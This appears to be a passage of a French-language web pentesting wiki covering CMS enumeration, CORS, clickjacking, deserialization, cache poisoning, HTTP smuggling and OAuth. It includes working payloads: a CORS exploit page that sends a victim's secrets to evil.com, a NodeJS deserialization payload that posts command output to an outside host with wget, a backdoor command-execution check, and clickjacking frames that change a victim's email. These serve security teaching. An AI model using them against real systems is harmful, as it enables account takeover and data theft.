feed
debug.log
readme.html
xmlrpc.php
wp-cron.php
wp-content/uploads
wp-load
wp-signup.php
wp-json
wp-login.php
wp-links-oplm.php
wp-activate.php
wp-blog-header.php
wp-links.php
wp-mail.php
wp-settings.php
wp-trackbar.php
wp-admin-bar.php
```

### Dashboard d'administrateur

```
wp-admin.php
```

### Fichiers de configuration

```
.htaccess
wp-config.php
```

### Directory listing

```
wp-includes [directory]
```

### Backup file

```
wp-config.bak.php
wp-config,txt
wp-config.zip
wp-config.md
wp-config.php_orig
wp-config.bak
```

## Scans

Voir wpscan et xmlrpc-scan.

{% content-ref url="/pages/DoFsvBcdPPtBLy6Z4404" %}
[Scan de ports / web](/osint-recon/scan-de-ports-web)
{% endcontent-ref %}

## Enumération

### Utilisateurs

En utilisant le chemin /wp-json/wp/v2/users, il est possible de FUZZ les utilisateurs comme ceci:

&#x20;/wp-json/wp/v2/users/1

&#x20;/wp-json/wp/v2/users/2

&#x20;/wp-json/wp/v2/users/3

&#x20;/wp-json/wp/v2/users/X

Faire la même chose avec le paramètre author (?author=X)

Si l'accès est bloqué, on peu tenter de le contourner comme ceci:

/wp-json/?rest\_route=/wp/v2/users

Si l'un de ces endpoints fonctionne, il est possible d'utiliser les paramètres "per\_page" et "page" pour afficher l'ensemble des utilisateurs sur une seule page.

&#x20;/wp-json/wp/v2/users/?per\_page=100\&page=1

## Tips

Avec API wpscan:

$ wpscan --url <https://target.com> -e vp --api-token \<token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

parfois ce n'est pas nécessaire car le wordpress est directement hébergé sur le répertoire root.

exp:

<https://target.com/blog/wp-content>

<https://target.com/news/articles/wp-content>

pour trouver les endpoints intéressant  on peut s'aider des excellents outils waybackurls et httpx.

$ waybackurls target.com | grep "wp-content" | httpx -mc 200

On peut aussi utiliser gau, gauplus etc pour plus d'endpoints.

Avec ces informations, on peut alors plus facilement cibler nos recherche dans l'option url de wpscan.

$ wpscan --url <https://target.com/><mark style="color:green;">path/to/wp-content</mark> --wp-content-dir -e vp --api-token \<token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

Une fois cela fais, il ne reste plus qu'a analyser le resultat à la recherche de vulnérabilités connues.

Pour exploiter les thèmes, il suffit de changer vp par vt dans la commande.

&#x20;$ wpscan --url <https://target.com/path/to/wp-content> --wp-content-dir -e <mark style="color:yellow;">vt</mark> --api-token \<token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

Evidemment, wpscan n'est pas un outil parfait et il arrive qu'il ne détecte pas tout ce qu'il pourrait détecter, il est donc important de manuellement rechercher plugins et thèmes manuellement à l'aide de la fonctionnalité view-source de votre navigateur.

utilisez view-source de cette manière dans la barre de saisie d'url:

view-source:<https://target.com>

puis recherchez des mots clés comme "/plugins" ou "/themes" dans différentes pages du site.

Vous pourriez ainsi trouver des éléments auquel d'autres n'auraient peut-être pas pensé et qui pourraient contenir des vulnérabilités.&#x20;

## Unsecure deserialization

Ressource: <https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/>

WordPress < 5.5.2 => phpgcc WordPress/WooCommerce/RCE1 et WordPress/WooCommerce/RCE2 (Nécessite le plugin WooCommerce d'installé)

Wordpress < 6.3.5 => phpgcc WordPress/RCE1 (via classe WP\_Theme)

WordPress > 6.4 => phpgcc WordPress/RCE2 (via classe WP\_HTML\_Token)

## CVE

### CVE-2022-1609

WordPress Weblizar Backdoor (WordPress school management pro premium version < 9.9.7)

Check:

*`$ curl -s -d 'blowfish=1' -d "blowfish=system('id');" 'http://target.com/wp-json/am-member/license'`*

vulnerable output:

uid=...gid=...groups=...

## Outils

### Wpscan

Wpscan est un outil de scan de vulnérabilité dédiés aux sites Wordpress

Exemple d'utilisation:

*`$ wpscan --url target.com`*

ressource: <https://github.com/wpscanteam/wpscan>

### Xmlrpc-scan

Xmlrpc-scan permet de scanner les méthodes xml-rpc présentes dans les sites Wordpress à la recherche de faille SSRF.

Utilisation:

*`$ xmlrpc-scan -target target.com -server http://burpcolaborator.net`*

ressource: <https://github.com/nullfil3/xmlrpc-scan>

### Wpprobe

Wpprobe est outil d'enumeration de plugins WordPress

Exemple d'utilisation:

*`$ ./wpprobe scan -u https://target.com`*

ressource: <https://github.com/Chocapikk/wpprobe>


# Joomla!

Pentest de sites Joomla!

## Scan et Enumération

voir outil joomscan.

{% content-ref url="/pages/DoFsvBcdPPtBLy6Z4404" %}
[Scan de ports / web](/osint-recon/scan-de-ports-web)
{% endcontent-ref %}

Vérifier aussi le fichier joomla.xml:

/administrator/manifest/files/joomla.xml

## Information disclosure

Entre les versions 4.0.0 et 4.2.7, Joomla est vulnérable à une fuite d'informations sensibles via cet endpoint permettant de visualiser la configuration de la base de données.

`/api/index.php/v1/config/application?public=true`

## Remote Code Execution

Si vous êtes en possession du compte administrateur, essayer d'ouvrir un reverse shell sur la cible comme ceci:

```bash
Activer les extensions php dans les paramètres:
System → Component → Media → “php”

Télécherger le reverse shell
```

Si le code malveillant est détecté, on peut tenter de modifier un template pour y inclure le reverse shell.&#x20;


# Magento

Pentest de site Magento

## Version

Sur Magento 2:

se rendre dans target.com/magento\_version

Sur Magento 1:

se rendre dans target.com/downloader ou target.com/magento/downloader et regarder si la version est notée dans le footer

Sinon utiliser wappalyzer ou un autre outil permettant de relever cette information.

## Scan


# Drupal

Pentest de site Drupal

## Scan

voir outil droopscan.

{% content-ref url="/pages/DoFsvBcdPPtBLy6Z4404" %}
[Scan de ports / web](/osint-recon/scan-de-ports-web)
{% endcontent-ref %}

Scanner en ligne: <https://hackertarget.com/drupal-security-scan/>

## Enumération des pages

Fuzz l'endpoint /node/XXX (1, 2, 3 ,..., 100, ...)

Possibilité de trouver des fichiers de test et archivés.


# SOP bypass

Same-Origin Policy

## Description

La politique de même origine est un mécanisme de sécurité critique qui limite la manière dont un document ou un script chargé par une origine peut interagir avec une ressource d'une autre origine. Il aide à isoler les documents potentiellement malveillants, réduisant ainsi les vecteurs d'attaque possibles.

## Contenu

{% content-ref url="/pages/0VZKlHeKhjwrBLWdpu5Z" %}
[CORS](/pentest-web/sop-bypass/cors)
{% endcontent-ref %}

{% content-ref url="/pages/tyChRg0R2Ki4cVKmxcYe" %}
[postMessage()](/pentest-web/sop-bypass/postmessage)
{% endcontent-ref %}

{% content-ref url="/pages/SZXrYwwGyQk9Z4VppTBS" %}
[JSONP](/pentest-web/sop-bypass/jsonp)
{% endcontent-ref %}


# CORS

Cross-Origin Ressource Sharing

## CORScanner

CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).

Exemple d'utilisation:

*`$ python cors-scanner.py -u https://target.com/`*

ressource: <https://github.com/chenjj/CORScanner>

## Manuel

### Origin aléatoire

Header Requête:

Origin: <http://evil.com>

Regarder dans la réponse si l'url est acceptée.

Header Réponse:

Access-Control-Allow-Origin: <http://evil.com>

### Origin null

Header requête:

Origin: null

Regarder si une origine "null" est acceptée.

Header réponse:

Access-Control-Allow-Origin: null

### Origin commençant par nom de sous-domaine de la cible&#x20;

Header requête:

Origin: sub.target.com.evil.com

Header réponse:

Access-Control-Allow-Origin: sub.target.com.evil.com

### Origin finissant par nom de sous-domaine de la cible

Header requête:

Origin: eviltarget.com

Origin: evil-target.com

Header réponse:

Access-Control-Allow-Origin: eviltarget.com ou evil-target.com

#### Exemple de phishing utilisant une mauvaise configuration de CORS:

Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans <http://target.com/secrets>.

Contenu de la page <http://evil.com/exploit>:

```html
<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("https://target.xyz/secret", {
        method: "GET",
        credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
      })
      .then(res => res.text())
      .then(data => {
        // Send result back to attacker
        fetch("https://evil.com/log?data=" + encodeURIComponent(data));
      })
      .catch(err => {
        console.error("Error:", err);
      });
    </script>
  </body>
</html>
```

On envoie ensuite le lien (<http://evil.com/exploit>) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur <https://target.com/secrets> et récupérer ses identifiants pour les afficher dans les logs de evil.com (<http://evil.com/log?key=\\>\<données de la page [https://target.com/secrets>](https://target.com/secrets>)).


# postMessage()

## Description

Certains sites contournent SOP en utilisant postMessage(). Cette méthode est une API web qui utilise la syntaxe JavaScript. Vous pouvez l'utiliser pour envoyer des messages texte vers une autre fenêtre:

`<fenêtre de réception>.postMessage(<message à envoyer>, <origin de la cible>);`

La fenêtre de réception traitera alors le message en utilisant un gestionnaire d'événements qui sera déclenché lorsque la fenêtre de réception reçoit un message:

`window.addEventListener("message",<event handler function>);`

Étant donné que l'utilisation de postMessage() nécessite que l'expéditeur obtienne une référence au fenêtre du récepteur, les messages ne peuvent être envoyés qu'entre une fenêtre et ses iframes ou pop-up.

## Détection

Un site pourrait utiliser postMessage() si vous inspectez la page (par exemple, en faisant un clic droit dessus dans Chrome et en choisissant Inspecter, puis en naviguant vers Event Listeners) et qu'en recherchent un Event listener vous trouvez un résultat comme celui-ci.

<figure><img src="/files/XzbREU6fcSvpOqt2bgyn" alt=""><figcaption></figcaption></figure>

## Exploitation

### Extension

#### MessPostage

MessPostage est une extension permettant de remonter si les sites consultés utilisent l'API postMessage.

ressource: <https://github.com/Sjord/messpostage>

### Outils

#### Posta

Posta est un outil permettant de rechercher les Cross-Document Messaging communications et d'exploiter les vulnérabilités liées à postMessage.

ressource: <https://github.com/benso-io/posta>


# JSONP

JSON Padding

## Détection

un site peut potentiellement utiliser JSONP si dans le code vous voyez une URL en cours de chargement dans une balise \<script> avec une fonction de rappel.

Exemples:

```html
<script src="https://target.com/api/user/profile?callback=parseinfo"></script>
<script src="https://target.com/api/user/profile?jsonp=parseinfo"></script>
```

## Exploitation

si le site utilise JSONP, voyez si vous pouvez intégrer une balise de script sur votre site et demandez les données sensibles encapsulées dans la charge utile JSONP.


# Clickjacking

## Basic

Exemple déconnexion d'un utilisateur:

```html
<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "click here" aligné au bouton de déconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click here</div>
<iframe src="https://target.com/profile"></iframe>
```

Exemple de changement de mot de passe:

```html
<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "clic here" aligné au bouton de déconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe src="https://target.com/profile?email=attacker@mail.xyz"></iframe>
```

### Contournement de frame busters

Le clickjacking n'est possible que si la page web victime autorise son encadrement.

Un mécanisme de protection utilisé pour empêcher cela est le frame buster. Les frame busters sont implémentés en Javascript, il valide si la fenêtre actuelle est la fenêtre principale. L'approche recommandée consiste à bloquer le rendu de la fenêtre par défaut et à ne le débloquer qu'après avoir confirmé que la fenêtre actuelle est la principale :

```html
<style>html{display:none;}</style>
<script>
   if (self == top) {
       document.documentElement.style.display = 'block'; 
   } else {
       top.location = self.location; 
   }
</script>
```

Les techniques de contournement de cadre sont souvent spécifiques au navigateur et à la plate-forme et, en raison de la flexibilité du HTML, elles peuvent généralement être contournées par les attaquants. Comme les frame busters sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur peut même ne pas prendre en charge le JavaScript.

Une solution de contournement efficace contre les frame busters consiste à utiliser l'attribut `"sandbox"` de la balise iframe HTML5. Lorsqu'il est défini avec les valeurs `"allow-forms"` ou `"allow-scripts"` et que la valeur `"allow-top-navigation"` est omise, le script frame buster peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure.

Exemple de changement de mot de passe:

```html
<style>
    iframe {
        position:relative;
        width:1000;
        height: 700;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:465;
        left:70:
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe sandbox="allow-forms" src="https://target.com/profile?email=attacker@mail.xyz"></iframe>
```

### Simple Multistep (confirmation)

```html
<style>
	iframe {
		position:relative;
		width:1000;
		height: 700;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:515;
		left:50;
		z-index: 1;
	}
   .secondClick {
		top:315;
		left:215;
	}
</style>
<div class="firstClick">Clic here</div>
<div class="secondClick">Confirm</div>
<iframe src="https://target.com/profile"></iframe>
```


# Insecure deserialization

## Description

La sérialisation est le processus par lequel un bit de données dans un langage de programmation est convertie dans un format qui permet de l'enregistrer dans une base de données ou transférés sur un réseau. La désérialisation quant à elle fait référence au processus inverse, dans lequel le programme lit l'objet sérialisé à partir d'un fichier ou du réseau et le reconvertit en objet.

Ceci est utile car certains objets dans les langages de programmation sont difficile à transférer via un réseau ou à stocker dans une base de données sans corruption. La sérialisation et la désérialisation permettent aux langages de programmation de reconstruire des objets de programme identiques dans différents environnements informatiques. De nombreux langages de programmation prennent en charge la sérialisation et la désérialisation d'objets (Java, PHP, Python et Ruby).

{% hint style="danger" %}
Ce type de vulnérabilités demande une expertise poussée des mécanismes de sérialisation et de désérialisation des langages de programmation concernés. Le contenu présenté ci-dessous ne représente donc qu'une base infime des possibilités d'exploitation plutôt orienté PHP en sachant qu'on en retrouve la plupart du temps dans du Java.
{% endhint %}

## Exploitation

### Recherche de fonctions potentiellement vulnérables

{% hint style="warning" %}
L'analyse de code est le moyen le plus efficace de trouver des Insecure deserializations.

le moyen le plus rapide de trouver des vulnérabilités de désérialisation non sécurisées est de rechercher les fonctions de désérialisation dans le code source et vérifier si l'entrée de l'utilisateur est passé dedans de manière non sécurisée.
{% endhint %}

Cependant il arrive que des Insecure deserialization soient trouvées sans analyse de code ce qui est beaucoup plus rare.

Les fonctions de désérialisation pour chaque langage sont les suivants:

* **PHP**: unserialize()
* **Java**: readObject()
* **Python** / **Ruby**: Marshall.load() ou pickle.load()

### Tips pour trouver des points potentiellement vulnérables sans accès au code source

1. Prêter attention aux grandes quantités de données encodées en base64 qui sont souvent des chaînes de caractères sérialisés encodées.
2. Vérifier les en-têtes "Content-Type:" (exemple: `Content-type: application/x-java-serialized-object`)
3. Vérifier les fonctionnalités telles que les entrées de bases de données, les tokens d'authentification ainsi que les paramètres de formulaires HTML

## Basic (PHP)

Avec Burp suite,

Interception du cookie de session de l'utilisateur courant:

cookie: session=\<chaîne base64>

Utilisation de Burp Inspector pour Décoder la chaîne.

Chaîne base64 décodé:

O:4:"User":2:{s:8:"username";s:7:"user123";s:5:"admin";b:0;}

Analyse de l'objet sérialisé PHP et exploitation:

username=user123

s:X => s=string => X = nombre de caractères.

b:0 => b=Booléen => 0 = "False" donc admin=False

changement en b:1 => Booléen "True" => admin=True

### Changement de type de donnée

Avec Burp suite,

Interception du cookie de session de l'utilisateur courant:

cookie: session=\<chaîne base64>

Utilisation de Burp Inspector pour Décoder la chaîne.

Chaîne base64 décodé:

O:4:"User":2:{s:8:"username";s:7:"user123";s:12:"access\_token";s:32:"ukkidafaq9oyq0ku3qa38ttpw43sii5k";}

Analyse de l'objet sérialisé PHP et exploitation:

* user123 contient 7 caractères
* access\_token de l'utilisateur "administrator" est inconnu

On va donc dans un premier temps changer notre nom d'utilisateur par "administrator" composé de 13 caractères:

O:4:"User":2:{s:8:"username";<mark style="color:red;">s:13:"administrator"</mark>;s:12:"access\_token";s:32:"ukkidafaq9oyq0ku3qa38ttpw43sii5k";}

Cela ne suffit pas, l'access\_token est toujours celui de "user123".

On va donc changer son type de donnée de "s" pour "string" à "i" pour "integer" puis le mettre à "0" ce qui nous donne à la fin:

O:4:"User":2:{s:8:"username";<mark style="color:red;">s:13:"administrator"</mark>;s:12:"access\_token";<mark style="color:yellow;">i:0</mark>;}

### PHP Deserialization with pre built gadget chain

{% hint style="warning" %}
Prérequis: Clé secrète et Gadget Chain
{% endhint %}

Utilisation de PHPGGC pour la création du payload puis création d'un nouveau cookie avec les informations en notre possession.

Création de l'objet PHP sérialisé et encodé en base64:

*`$ ./phpggc <GadgetChain> exec '<command>' | base64`*

Création du cookie:

```php
<?php
$object="<Objet PHP sérialisé base64>";
$secretkey="<Clé secrète>";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretkey) . '"}');
echo $cookie;
?>
```

## NodeJS

```
Objet de session:

{"userName":"_$$ND_FUNC$$_function (){ require('child_process').exec('wget your.burp.collab.com --post-data=$(ls -la | base64 -w 0)'); }()","passWord":"test"}
```

## Basic (Java)

### Mirace Exploit - ADF Faces Framework (Oracle Apps)

Endpoint:

```
https://target.xyz/[appName]/adf/foo/remote/[SerializedUserInput]
```

Ressource: <https://peterjson.medium.com/miracle-one-vulnerability-to-rule-them-all-c3aed9edeea2>

Exploit: <https://github.com/NeCr00/CVE-2022-21445>

## Extensions burp pour les appli Java

### Freddy

ressource: <https://github.com/nccgroup/freddy>

### Java-Deserialization-Scanner

ressource: <https://github.com/federicodotta/Java-Deserialization-Scanner>

### Burp-Ysoserial

ressource: <https://github.com/summitt/burp-ysoserial>

## Outils

### PHPGGC

PHPGGC est une bibliothèque de charges utiles PHP unserialize() ainsi qu'un outil pour les générer, à partir de la ligne de commande ou par programmation.

Exemple d'utilisation:

*`$ ./phpggc <GadgetChain> exec '<command>'`*

ressource: <https://github.com/ambionics/phpggc>

### Ysoserial

Ysoserial est un outil permettant de  générer des charges utiles qui exploitent la désérialisation d'objet Java non sécurisée.

Exemple d'utilisation:

*`$ java -jar ysoserial-all.jar <payload> '[command]'`*

ressource: <https://github.com/frohoff/ysoserial>


# Web Cache Poisoning / Deception

## Méthodologie&#x20;

1. Identifier et évaluer les entrées sans clé
   1. En-tête / Cookie
   2. Paramètre
   3. Chaîne de caractère
2. Ajouter un cache buster à la requête (exp: cb=1)
3. Essayer de faire refléter un "canary" dans la requête avec une entrée sans clé.
4. Envoyer la requête jusqu'à ce qu'elle soit mise en cache.
5. Supprimer le cache buster puis renvoyer la requête.
6. Obtenir la réponse mise en cache

<figure><img src="/files/U5SFiBGsOKNneTHRBJg1" alt=""><figcaption></figcaption></figure>

La mise en cache ou non d'une réponse peut dépendre de toutes sortes de facteurs, tels que l'extension de fichier (exp: .js), le type de contenu, la route, le code d'état (exp: 200 OK) et les en-têtes de réponse (exp: X-Forwarded-Host).

{% hint style="info" %}
Poisoning vs. Deception:

Poisoning vise mettre en cache une réponse contenant du code malveillant pour impacter les autres utilisateurs, Deception vise à mettre en cache une page contenant des informations sensibles d'un autre utilisateur pour pouvoir les récupérer.
{% endhint %}

## CPDoS (Cache Poisoning Denial of Services)

### HTTP Header Oversize (HHO)

La plupart des serveurs Web et des proxys fournissent une limite de taille d'en-tête de requête d'environ 8,192 bytes. Cependant, il existe certaines exceptions telles que les **CDN CloudFront** par exemple qui autorisent jusqu'à 20,480 bytes.

Les attaques **CPDoS HHO** fonctionnent dans des scénarios où une application Web utilise un cache qui **accepte une limite de taille d'en-tête supérieure à celle du serveur d'origine**. Pour attaquer une telle application Web, un client malveillant envoie une requête **HTTP GET** comprenant un **en-tête supérieur à la taille prise en charge par le serveur d'origine mais inférieur à la taille prise en charge par le cache.** Pour ce faire, un attaquant a deux options. Soit il utilise plusieurs en-têtes volumineux dans une même requête, soit il ne créer qu'une seule en-tête mais avec un contenu suffisamment volumineux pour générer l'erreur.

Exemple:

```
X-Oversized-Header-1: 000000000000000000000000000000000000...
X-Oversized-Header-2: 000000000000000000000000000000000000...
...
```

### HTTP Meta Character (HMC)

Le principe cette fois est de générer une erreur en envoyant des en-têtes contenant des méta-caractères tels que **\n**, **\r, \a...**

Exemple:&#x20;

```
X-Metachar-Header: \n
X-Metachar-Header: \r
...
```

### HTTP Method Overwrite (HMO)

De nombreux systèmes intermédiaires tels que les proxys, les équilibreurs de charge, les caches et les pare-feu ne prennent en charge que les méthodes **GET** et **POST**. Cela signifie que les requêtes HTTP utilisant **DELETE** , **PUT** etc sont simplement bloquées. Pour contourner cette restriction, de nombreuses API REST et frameworks fournissent des en-têtes tels que `X-HTTP-Method-Override`, `X-HTTP-Method` ou `X-Method-Override` pour les méthodes HTTP bloquées par tunnel. Une fois que la requête atteint le serveur, l'en-tête demande à l'application Web de remplacer la méthode HTTP dans la ligne de requête par celle de la valeur d'en-tête correspondante.

Le principe de cette variante est donc de tenter de générer une erreur 404 Not Found depuis une requête légitime (exp: GET /index.html) en remplaçant la méthode HTTP via une de ces en-têtes.

De ce fait, si GET /index.html est mise en cache, il sera possible de mettre en cache la réponse comme si il s'agissait d'un POST /index.html par exemple.

Exemple:

```
GET /index.html                                    404 Not Found
X-Method-Override: POST                            X-Cache: HIT
```

### Host Header Case Normalization (HHCN)

Selon la **RFC 4343**, les noms de domaine complets (FQDN) doivent toujours être insensibles à la casse. Cependant, pour une raison quelconque, cette règle n'est pas toujours respectée par les frameworks. Il est intéressant de noter que, comme la valeur de l'hôte doit être insensible à la casse, certains développeurs supposent qu'il est prudent de mettre en minuscules la valeur de l'en-tête de l'hôte lors de son introduction dans la clé de cache, sans modifier la requête réelle envoyée au serveur principal.

De ce fait, il est parfois possible de générer des erreurs 404 mises en cache en ajoutant une majuscule dans l'en-tête `Host` de la requête.

Exemple:

```
Host: Cdn.target.xyz au lieu de Host: cdn.target.xyz
```

### Hop By Hop (HBH)

Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé par le proxy qui gère la requête, par opposition à un en-tête end-to-end, qui est conçu pour être présent dans la requête jusqu'à la fin de la requête. Selon la RFC 2612, la spécification HTTP/1.1 traite les en-têtes suivants comme hop-by-hop par défaut : `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` et `Proxy-Authenticate`. Lorsqu'il rencontre ces en-têtes dans une requête, un proxy conforme doit traiter ou agir sur ce que ces en-têtes indiquent, et ne pas les transmettre au saut suivant.

Outre ces valeurs par défaut, une requête peut également définir un ensemble personnalisé d'en-têtes à traiter comme un en-tête hop-by-hop en les ajoutant à l'en-tête de connexion, comme ceci :

```
Connection : close, X-Foo, X-Bar
```

Dans cet exemple, nous demandons au proxy de traiter `X-Foo` et `X-Bar` comme une en-tête hop-by-hop, ce qui signifie que nous voulons qu'un proxy les supprime de la requête avant de la transmettre. C'est ce fonctionnement qui permet l'exploitation de cette variante de CPDoS.

## Spécificités

Certains frameworks et serveurs web utilisent des délimiteurs qui peuvent permettre de tromper les serveurs de cache.

Wordlist utile:

{% embed url="<https://github.com/mathis2001/Wordlists/blob/main/Cache/Delimiters.txt>" %}

### Spring

Par exemple, Spring permet d'utiliser des semicolon comme paramètres:

* /use&#x72;**;params**/home sera traité comme /user/home
* MyAccoun&#x74;**;a.js** sera traité comme /MyAccount

Or, si le serveur met en cache les ressources en .js, le contenu sensible de MyAccount sera mis en cache.

### Rails

De la même manière, Rails utilise le . (point) pour afficher les vues, mais toutes les extensions ne sont pas prises en charge par le framework.

Par exemple:

* /MyAccount affichera la vue myaccount.html.erb
* /MyAccoun&#x74;**.css** affichera la vue myaccoun&#x74;**.css**.erb

Cependant,

* /MyAccoun&#x74;**.aaa** ne sera pas reconnu et affichera la vue par défaut qui est myaccoun&#x74;**.html**.erb

Cela signifie que si le serveur de cache est configuré pour mettre en cache des extensions n'étant pas reconnues par le framework, il est possible de mettre en cache le contenu de /MyAccount.

Exemple: MyAccoun&#x74;**.ico** pourrait être mis en cache et afficher la vue myaccoun&#x74;**.html**.erb

### Nginx

même chose avec **%0A**:

* /MyAccoun&#x74;**%0A.js** => /MyAccount

## Ressources

{% embed url="<https://hackerone.com/reports/394016>" %}

## Outils

### Extension Burp Param Miner

Param Miner est une extension de Burp Suite permettant d'automatiser la recherche d'entrées sans clé.

{% hint style="info" %}
Utilisation: clic droit sur la requête > "Extensions" > "Param Miner" > ...

Résultats visible dans l'onglet "Extender" > "Extensions" > "Param Miner" > "Output"
{% endhint %}

### HExHTTP

Header Exploitation HTTP est un outil permettant de tester les vulnérabilités liées aux en-têtes HTTP qui comprend notamment des tests liés au cache.

Exemple d'utilisation:

`$ python3 hexhttp.py -u https://target.com/`

ressource: <https://github.com/c0dejump/HExHTTP>

### wcDetect

wcDetect est un outil spécialement conçu pour détecter les vulnérabilités de cache deception.

Exemple d'utilisation:

`$ python3 wcdetect.py -u https://target.com/`

ressource: <https://github.com/c0dejump/wcDetect>


# HTTP Smuggling

## Sites

* <https://tools.honoki.net/smuggler.html>

## Basic

Les attaques de contrebande de requêtes impliquent de placer à la fois l'en-tête `Content-Length` et l'en-tête `Transfer-Encoding` dans une seule requête HTTP et de les manipuler de sorte que les serveurs front-end et back-end traitent la requête différemment. La manière exacte dont cela se fait dépend du comportement des deux serveurs :

* CL.TE : le serveur front-end utilise l'en-tête `Content-Length` et le serveur back-end utilise l'en-tête`Transfer-Encoding`.
* TE.CL : le serveur front-end utilise l'en-tête `Transfer-Encoding`et le serveur back-end utilise l'en-tête `Content-Length`.
* TE.TE : les serveurs front-end et back-end prennent tous deux en charge l'en-tête `Transfer-Encoding`, mais l'un des serveurs peut être incité à ne pas le traiter en masquant l'en-tête d'une manière ou d'une autre.

### CL.TE

Dans ce cas, le serveur front-end utilise l'en-tête `Content-Length` et le back-end l'en-tête `Transfer-Encoding`.

Il est donc possible d'exploiter la cible comme ceci:

```
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

Le serveur front-end traite l'en-tête `Content-Length` et détermine que le corps de la requête a une longueur de 13 octets, jusqu'à la fin de `SMUGGLED`. Cette demande est transmise au serveur principal.

Le serveur principal traite l'en-tête `Transfer-Encoding` et traite donc le corps du message comme utilisant un codage fragmenté. Il traite le premier bloc, qui est déclaré être de longueur nulle, et est donc traité comme mettant fin à la demande. Les octets suivants, `SMUGGLED`, ne sont pas traités et le serveur principal les traitera comme étant le début de la requête suivante dans la séquence.

### TE.CL

Dans ce cas, le serveur front-end utilise l'en-tête `Transfer-Encoding` et le back-end l'en-tête `Content-Length`.

Il est donc possible d'exploiter la cible comme ceci:

```
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
```

{% hint style="info" %}
Pour envoyer cette requête à l'aide de Burp Repeater, vous devrez d'abord vous rendre dans le menu Repeater et vous assurer que l'option "Update Content-Length" est décochée.

Vous devez inclure la séquence de fin `\r\n\r`après le final `0`.
{% endhint %}

Ici, le serveur front-end traite l'en-tête `Transfer-Encoding` et traite ainsi le corps du message comme utilisant un codage fragmenté. Il traite le premier bloc, qui est censé avoir une longueur de 8 octets, jusqu'au début de la ligne suivant `SMUGGLED`. Il traite le deuxième bloc, qui est déclaré être de longueur nulle, et est donc traité comme mettant fin à la demande. Cette demande est transmise au serveur back-end.

Le serveur back-end traite l'en-tête `Content-Length` et détermine que le corps de la requête a une longueur de 3 octets, jusqu'au début de la ligne suivant `8`. Les octets suivants, commençant par `SMUGGLED`, ne sont pas traités et le serveur principal les traitera comme étant le début de la requête suivante dans la séquence

### TE.TE

Pour ce dernier cas, pour découvrir une vulnérabilité TE.TE, il est nécessaire de trouver une variation de l' en-tête `Transfer-Encoding` telle qu'un seul des serveurs front-end ou back-end la traite, tandis que l'autre serveur l'ignore.

Selon que c'est le serveur front-end ou le serveur back-end qui peut être amené à ne pas traiter l'en-tête `Transfer-Encoding`obfusqué, la suite de l'attaque prendra la même forme que pour les vulnérabilités CL.TE ou TE.CL déjà décrites.

Il existe des façons potentiellement infinies d'obfusquer l'en-tête `Transfer-Encoding.`

Quelques exemples ci-dessous:

```
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```


# OAuth

## Processus

<figure><img src="/files/mHF4Td8H42MQAcWml7ap" alt=""><figcaption></figcaption></figure>

## Vol de session

* se connecter tout en capturant le traffic dans le http history de burp
* aller dans le POST /authenticate
* changer l'email de la victime par le mail de l'attaquant

## Absence de contrôle CSRF

Dans le cas où le paramètre `state` (permettant de se protéger des attaques CSRF) serait absent, Un utilisateur malveillant pourrait tenter de détourner le compte d'un autre utilisateur en le manipulant dans le but de  lier son compte à son réseau social.

Exemple:

Application permettant d'associer un compte de réseau social.

* Se connecter
* Associer un compte de réseau social
* Vérifier le fonctionnement de la fonction "Se connecter avec \[réseau social]"
* Dans l'historique http de burp, analyser les requêtes
* Vérifier que la redirection ne contient pas le paramètre "state"
* Vérifier la présence du code d'autorisation dans la requête suivant la redirection

La deuxième étape vise à refaire le même procéder sans utiliser le code d'autorisation qui ne sera plus valide s'il est utilisé.

* Capturer la requête "Associer un compte"
* Forward la requête jusqu'au code d'autorisation
* Copier l'url de la requête

{% hint style="warning" %}
**Attention**: il est important de drop la requête afin d'empêcher l'utilisation du code avant de l'avoir transmis à la victime.
{% endhint %}

A partir de ce moment, le fait que le paramètre `state` ne soit pas présent permet à l'attaquant de créer un exploit tel que celui ci-dessous qu'il pourrait envoyer à un autre utilisateur pour l'inciter à lier son compte au siens contre son gré:

```html
<iframe src="https://target.com/oaut-linking?code=<AUTORIZATION_CODE>"></iframe>
```

{% hint style="info" %}
Si le paramètre `state` est présent, essayer de le laisser vide pour vérifier si il est réellement vérifié.
{% endhint %}

## OAuth hijacking via redirect\_uri

Si le paramètre `redirect_uri` n'est pas correctement validé et permet à un attaquant de rediriger la requête OAuth sur un serveur lui appartenant, il pourrait alors prendre le contrôle du compte d'un autre utilisateur.

Etapes:

* Se connecter
